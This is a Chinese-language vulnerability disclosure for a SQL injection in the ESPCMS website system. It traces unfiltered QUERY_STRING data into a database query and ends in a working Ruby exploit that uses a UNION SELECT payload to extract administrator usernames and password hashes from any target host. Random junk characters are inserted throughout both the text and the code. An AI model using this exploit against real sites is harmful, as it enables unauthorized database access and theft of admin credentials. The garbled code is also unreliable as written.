0×0 漏洞概述0×1 漏洞细节. o o* _/ g [ Z
0×2 PoC9 L2 j; D( [; w8 `
" ?5 ~" w% O! R6 v( j, U) [7 T4 c
# S) z4 Y. b* t8 O) O: y2 ^
8 H. V _5 F+ C; U1 J# Q
0×0 漏洞概述
3 r6 X$ Y' h: w* t. }# K
' u- W. A8 r: ?易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
7 R) g9 ]$ R. }6 ?$ n: e其在处理传入的参数时考虑不严谨导致SQL注入发生 i$ L7 X! Y9 i% e' ^
8 N# @1 m# H9 b( k8 O6 V0 d9 ?' x( y
% W1 G1 q4 o4 z7 H" a# W0×1 漏洞细节
3 z5 s4 Z: K* E# j9 h: o8 R8 q, U3 y3 g
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
: p/ i, Z5 {7 s, R8 B正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
6 t( I" p$ `7 g4 ?而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
7 ]( o' d T: _( Y$ B* k7 V4 s% i
: Q: u4 p( [- o- j在/interface/3gwap_search.php文件的in_result函数中:
9 t7 f, E: v H% \( ]
2 i1 v$ m1 P0 z7 h* K4 b7 e. M# v t
4 d' z0 q. X! U0 J! s
( W; }* i2 m9 W G0 q. k function in_result() {
; ]* V0 a$ K4 U( {, v5 E9 g; [ ... ... ... ... ... ... ... ... ...
- j# Q' }& ~/ M( E2 Y% j) v2 R$ _$ w $urlcode = $_SERVER[ 'QUERY_STRING '];0 e: N! Z: D5 B2 u! I, R
parse_str(html_entity_decode($urlcode), $output);- b8 n$ N$ D' q* i
. A/ q7 q7 U! s* H ... ... ... ... ... ... ... ... .... ]& S$ w K: i; ~; z
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
: G9 l6 Z( H# z9 {9 t
7 x" `/ R) X3 P4 J! l2 _" l! M $db_table = db_prefix . 'model_att';
: a3 G4 C5 _5 ?2 A4 Q
, x: U( _; T$ h5 G& G& ^1 \ foreach ($output['attr' ] as $key => $value) {
e: a& S0 E6 M if ($value) {. {# V% \. J; t( J3 Q9 Y9 G$ t5 L
0 S$ s5 {: @8 G3 d1 c $key = addslashes($key);8 N" P. {/ r/ d: V, O; F
$key = $this-> fun->inputcodetrim($key);4 X" v Z6 C, n/ I6 X% V
$db_att_where = " WHERE isclass=1 AND attrname='$key'";4 s* k+ ?4 k2 b- O
$countnum = $this->db_numrows($db_table, $db_att_where);, ~. [4 P _) ], f
if ($countnum > 0) {
9 L0 H$ T) j9 l2 l8 o! f% a $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;0 j9 r- g/ z+ d& [; B7 r2 r
}
9 m7 m$ J. e! k6 w }: b' f! V* w# p7 `! P; o3 a
}4 \% ?0 c4 y1 @8 ^+ W
}; V9 {; F( _' p* w5 V
if (!empty ($keyword) && empty($keyname)) {
6 Q8 t+ b' T4 i$ F5 p2 ~# v5 e/ | $keyname = 'title';6 F3 v5 j" P1 i" F( y
$db_where.= " AND a.title like '%$keyword%'" ;
! _3 g7 V$ B( U! N2 r, O( E1 S* y } elseif (!empty ($keyword) && !empty($keyname)) {
9 z. F! ^0 C* u8 [+ A" A, m $db_where.= " AND $keyname like '% $keyword%'";
* M5 m7 R6 m% y% Z l' s! i }
2 h1 O8 D a; u- J; B# P% z $pagemax = 15;
2 a; }% B, r: y8 b j2 V+ D- h/ X: x! Q. d$ N) R
$pagesylte = 1;$ Y4 m- d$ }) l. [& |5 u/ I6 b% p5 M
5 c( S: r; u# W, e if ($countnum > 0) {
3 w. ` q S) g/ h! W6 k! b: a0 o" S' A4 o* _& t
$numpage = ceil($countnum / $pagemax);- U o" A3 T ?
} else {: m3 I! O) d+ {0 d8 e* T
$numpage = 1;. D- h1 W- N# T" @2 ?" A: o
}+ m( T& D8 @7 e( r
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;& U4 f0 r( y$ `4 r4 o$ E
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);8 J7 R1 y) \* o- Q' ]7 \4 X) m
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
% i2 k+ w2 H2 t- ~5 t: P ... ... ... ... ... ... ... ... ...
8 j) Z1 Y/ p: Z, S0 b; i# ~7 s }
7 `8 V9 j; E* _, i+ M8 f+ [% E* Z+ u
4 O0 U2 l" S: D; R9 a p* Q
0×2 PoC
: ]0 U# ~# p6 X$ K+ D6 T6 _* b1 h1 ]# I0 O f
8 ]( R9 X5 z0 E- t$ U
: A/ O+ o$ l' ]" Z e! ^5 X [! D+ Zrequire "net/http"5 L$ m& ?! C- ?& g$ x a. e9 t
$ a7 m( n$ E1 Sdef request(method, url)2 \ w; p) A9 D0 e/ L# E
if method.eql?("get")
' `( H3 W+ l+ f) l uri = URI.parse(url)8 i& r- B# d. p
http = Net::HTTP.new(uri.host, uri.port)
; v1 ~7 ~ q: t response = http.request(Net::HTTP::Get.new(uri.request_uri))
3 A# ]+ I- ^2 p% G0 x return response
: G J' g8 _3 Q& k+ O end
0 Z9 O7 r# _3 b, {' Q; n5 send
2 n! X/ S, H+ t# }+ Q. {
. m, ?+ R( S) G" Bdoc =<<HERE
5 A: ?0 @) i4 Y5 S, Q( c-------------------------------------------------------
! Z, X0 ~6 P% m9 e. pEspcms Injection Exploit- U S& I; l" b4 B+ ]
Author:ztz
2 ^% @) s* [6 \- I+ p: ABlog:http://ztz.fuzzexp.org/
$ i w5 w" p }8 z# U-------------------------------------------------------
* V% X6 u) g: m
) Q7 u( I# i" _$ KHERE. n' Z( D, T5 y. K7 C; C3 i
; S( \" S2 ?0 j) t) h8 z6 d$ z; V
usage =<<HERE
# B; V$ [/ n* K6 {' zUsage: ruby #{$0} host port path& ]& _0 y) A: Y4 _& H+ i$ m, h
example: ruby #{$0} www.target.com 80 /
$ r# B& X: G% R# v. p. @HERE5 \$ S; K7 s4 w" K4 ]6 g/ o% l
4 w# X. V4 A2 b; w( I8 hputs doc
; K9 B. a3 E+ T* P: Z6 @7 {if ARGV.length < 3! `& @% c) h& g( {. J, a! F
puts usage
- Y2 Z/ `$ z- ~; |else
$ [4 e- j- u( }, R7 V' N2 Z/ `4 l $host = ARGV[0]
( o Q S5 w O0 @6 E1 ~( g $port = ARGV[1]* P2 s g6 [8 w" v
$path = ARGV[2]
( D' u" J/ f' I9 ]: y( Z, `
& U4 v6 G/ A9 h* L( G) P& v puts "send request..."
6 i. Q2 K$ @& o* L+ s) ?# [5 z: \ url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
& Y( {2 }3 L Z1 V( Dattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
; E, `4 t: ]0 y6 H7 L: ?& b,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,276 q/ M2 }! e; U3 X' M6 W2 U
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"- }" W: t4 K% v! l$ a3 N: D5 g
response = request("get", url)0 t3 ]$ f7 e3 V: [
result = response.body.scan(/\w+&\w{32}/)' _7 F2 P7 Q2 |
puts result
- a- }" [% s8 |) `- v7 w7 ]7 wend
3 G$ I, b& G9 u2 ^- }$ c& f% q7 U) @: ~- j6 E. y
|